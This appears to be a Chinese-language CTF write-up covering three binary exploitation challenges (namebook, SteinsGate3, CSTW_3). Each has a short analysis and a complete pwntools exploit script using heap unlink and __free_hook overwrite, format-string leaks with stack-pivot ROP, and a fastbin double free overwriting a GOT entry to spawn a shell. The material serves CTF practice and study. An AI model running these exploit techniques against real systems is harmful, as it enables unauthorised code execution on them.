分析程序,看保护
64位程序仅关闭了PIE保护,使用IDAx64分析程序:
可以看到程序在申请chunk的函数中申请了长度为0x80的块,但是在edit函数中允许输入0x100的长度,因此存在unlink漏洞,思路是伪造chunk,然后进行任意地址读,读取libc加载基址,然后进行任意地址写,问题在于本程序开启了RELRO保护,导致GOT表无法被修改,而查看内存发现libc加载部分的后半部是允许写入的,那么我们可以修改freehook。
最终的exp如下:
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
namebook=ELF("./namebook")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./namebook")
def creat(index,value):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('index:')
sh.sendline(str(index))
sh.recvuntil('name:')
sh.sendline(value)
def delete(index):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('index:')
sh.sendline(str(index))
def show(index):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('index:')
sh.sendline(str(index))
def reset(index,value):
sh.recvuntil('>')
sh.sendline('4')
sh.recvuntil('index:')
sh.sendline(str(index))
sh.recvuntil('name:')
sh.sendline(value)
creat(0,"aa")
creat(1,"bb")
creat(2,"cc")
ptr_addr=0x602040
payload=p64(0x0)+p64(0x81) #fake presize & fake size
payload+=p64(ptr_addr-0x18) #fd
payload+=p64(ptr_addr-0x10) #bk
payload+=0x60*'A' #paddings
payload+=p64(0x80)+p64(0x90)
# gdb.attach(sh,'b *0x400B96')
reset(0,payload)
delete(1)
reset(0,'A'*24+p64(ptr_addr-0x18)+p64(namebook.got['atoi']))
show(1)
atoi_addr=u64(sh.recv(6)+'\x00'+'\x00')
log.success("We get atoi_addr! It is "+str(hex(atoi_addr)))
libcbase_addr=atoi_addr-libc.symbols['atoi']
log.success("We get libc_base_addr! It is "+str(hex(libcbase_addr)))
system_addr=libcbase_addr+libc.symbols['system']
log.success("We get system_addr! It is "+str(hex(system_addr)))
freehook_addr=libcbase_addr+libc.symbols['__free_hook']
log.success("We get freehook_addr! It is "+str(hex(freehook_addr)))
reset(0,'1'*24+p64(freehook_addr))
# gdb.attach(sh)
reset(0,p64(system_addr))
reset(2,'/bin/sh')
delete(2)
sh.interactive()
分析程序,看保护
64位全保护程序,使用IDAx64分析程序发现与Steins;Gate2(Week2)相比,保护相同,但是在check4处限制了溢出长度
现在我们覆盖rbp之后只能溢出四字节,那么考虑使用栈迁移技术。 在第二次回到main函数后泄露PIE,然后再次返回main函数。 然后在第三次回到main函数是先在BSS段布置ROP
'/bin/sh\x00'|poprdi_addr|binsh_addr|system_addr
最后返回到sysytem函数。 写出的exp如下,gdb调试发现
已经成功进入了system函数且参数正常
但是会在system内部发生错误进而退出 最后问题解决的思路是不再在BSS上布置ROP链,改为leak栈地址。然后在栈上布置ROP。 最终exp如下:
from pwn import *
import sys
while True:
# sh = process("./SteinsGate3")
sh = remote('118.24.3.214', 12343)
log.info("Turn 1!")
sh.recvuntil(':')
sh.sendline('error404')
log.info("First Attack!")
sh.recvuntil('To seek the truth of the world.\n')
pay = 'a'*0x30+p64(0x2333)
sh.send(pay)
log.info("Secound Attack!")
sh.recvuntil("Repeater is nature of man.\n")
sh.send("%7$p")
rand = int(sh.recvuntil("You")[:10],16)
log.success("The rand num is:"+str(hex(rand)))
sh.recvuntil("?\n")
rand = rand+0x1234
sh.send(p32(0x6666)*12+p32(rand))
log.info("Third Attack!")
# sh.recvuntil("Payment of past debts.\n")
# sh.send("%11$p")
# canary = int(sh.recv()[:18],16)
# log.success("The canary num is:"+str(hex(canary)))
# pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'\xdB'+'\x6d'
# sh.send(pay)
try:
sh.recvuntil("Payment of past debts.\n")
sh.send("%11$p")
canary = int(sh.recv()[:18],16)
log.success("The canary num is:"+str(hex(canary)))
pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'\xdB'+'\x6d'
sh.send(pay)
log.info("Turn 2!")
sh.recvuntil(':')
sh.sendline('error404')
log.info("First Attack!")
sh.recvuntil('To seek the truth of the world.\n')
pay = 'a'*0x30+p64(0x2333)
sh.send(pay)
log.info("Secound Attack!")
sh.recvuntil("Repeater is nature of man.\n")
sh.send("%7$p")
rand = int(sh.recvuntil("You")[:10],16)
log.success("The rand num is:"+str(hex(rand)))
sh.recvuntil("?\n")
rand = rand+0x1234
sh.send(p32(0x6666)*12+p32(rand))
log.info("Third Attack!")
sh.recvuntil("Payment of past debts.\n")
sh.send("%13$p")
PIE = int(sh.recv()[:11],16)*16*16*16
log.success("The PIE base_addr is:"+str(hex(PIE)))
system_addr=PIE+0xc8b
log.success("The system_addr is:"+str(hex(system_addr)))
poprdi_addr=PIE+0xe83
log.success("The poprdi_addr base_addr is:"+str(hex(poprdi_addr)))
poprsi_addr=PIE+0xe81
log.success("The poprsi_addr base_addr is:"+str(hex(poprsi_addr)))
heap_addr=PIE+0x202048
log.success("The heap_addr base_addr is:"+str(hex(heap_addr)))
binsh_addr=PIE+0x202040
log.success("The binsh_addr base_addr is:"+str(hex(binsh_addr)))
pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'\xdB'+'\x6d'
sh.send(pay)
log.info("Turn 3!")
sh.recvuntil(':')
sh.send('/bin/sh\x00')
log.info("First Attack!")
sh.recvuntil('To seek the truth of the world.\n')
pay = 'a'*0x30+p64(0x2333)
sh.send(pay)
log.info("Secound Attack!")
sh.recvuntil("Repeater is nature of man.\n")
sh.send("%7$p")
rand = int(sh.recvuntil("You")[:10],16)
log.success("The rand num is:"+str(hex(rand)))
sh.recvuntil("?\n")
rand = rand+0x1234
sh.send(p32(0x6666)*12+p32(rand))
log.info("Third Attack!")
sh.recvuntil("Payment of past debts.\n")
sh.send("%12$p")
stack_addr = int(sh.recv()[:14],16)-0x38
log.success("The stack_addr is:"+str(hex(stack_addr)))
leaveret_addr=PIE+0xc91
log.success("The leaveret_addr is:"+str(hex(leaveret_addr)))
pay = 'CCCCCCCC'+p64(poprdi_addr)+p64(binsh_addr)+p64(system_addr)+'a'*0x10+p64(0x2333)+p64(canary)+p64(stack_addr-0x38)+p64(leaveret_addr)
# gdb.attach(sh)
sh.send(pay)
sh.interactive()
break
except EOFError,ValueError:
sh.close()
pass
关于line 89的解释,这里的stackaddr-0x38是调试确定的,在打印出栈上地址后,输入ROP链,然后进行GDB附加调试,发现布置的ROP链出现在stackaddr-0x38,于是可确定。 该exp与week 2相同,每次循环的成功率为1/16。
附:week2泄露PIE基址思路:这里我们可以在Check 4利用时使程序返回main函数,然后在第二轮运行的Check 3处leak PIE这里比较头疼的是如何返回main函数,PIE技术地址的后三位是不变的,因此可以使用低位覆盖技术,但是查看代码发现main函数的起始地址与返回地址倒数第三位不同,那么倒数第四位我们可以采取碰撞的思路。
分析程序,看保护
64位程序开启了NX和Canary保护,使用IDAx64分析程序:
可以看到free之后并未将指针置0,可造成UAF漏洞,并且发现
malloc的chunk大小恰好属于fastbin范围内,那么可以利用fastbin attack 为了绕过free检查,窝们先申请两个chunk,在两次free(0)之间插入一个free(1) 又发现了程序中存在后门函数
那么我们可以通过覆写got表,将某个函数的got中的地址替换为后门函数的地址,但是malloc函数存在一个检查,我们需要找到一个合适的地址来绕过malloc函数检查。
这里可以利用stdout的0x7F来绕过malloc函数检查,但是如果选用stdout的0x7F就意味着我们只能覆写stdout之后的内存,这里可以注意到
指针数组的值在可覆写范围,那么我们可以篡改指针数组的值,这样我们在利用edit函数改写某一个“公告”的值时将会改写目标地址的值,这里我们将puts的got表地址改写为后门函数的地址即可getshell。 最终exp如下:
from pwn import *
import sys
# context.log_level='debug'
context.arch='amd64'
# file_name=ELF("./")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./CSTW_3")
def creat(value):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(value)
print(sh.recvline())
def delete(index):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
print(sh.recvline())
def edit(index,value):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(value)
print(sh.recvline())
sh.sendline('')
sh.sendline('')
sh.sendline('')
sh.sendline('')
creat('first')
creat('second')
delete(0)
delete(1)
delete(0)
creat(p64(0x60209D))
creat('malloc the second and the first* chunk')
creat('malloc the second and the first* chunk')
creat('a'*3+'b'*0x10+p64(0x602028))
# gdb.attach(sh)
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(0))
sh.recvuntil(':')
sh.sendline(p64(0x400A04))
sh.interactive()